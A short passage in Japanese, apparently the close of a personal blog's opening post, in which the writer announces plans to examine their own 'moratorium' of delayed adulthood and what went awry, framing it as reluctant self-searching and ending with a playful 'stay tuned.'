それに加えて、何をこじらせたのか、何故こじらせたのか。そもそもモラトリアムとは何なのか?

その辺りに突っ込むこともしたいと思います。正直、したくはないですが。誰しも傷口に塩を塗りたくはないものです。自戒です。つまりは、やはり自分探しです。

以上、初心…所信表明でした。

乞う、ご期待。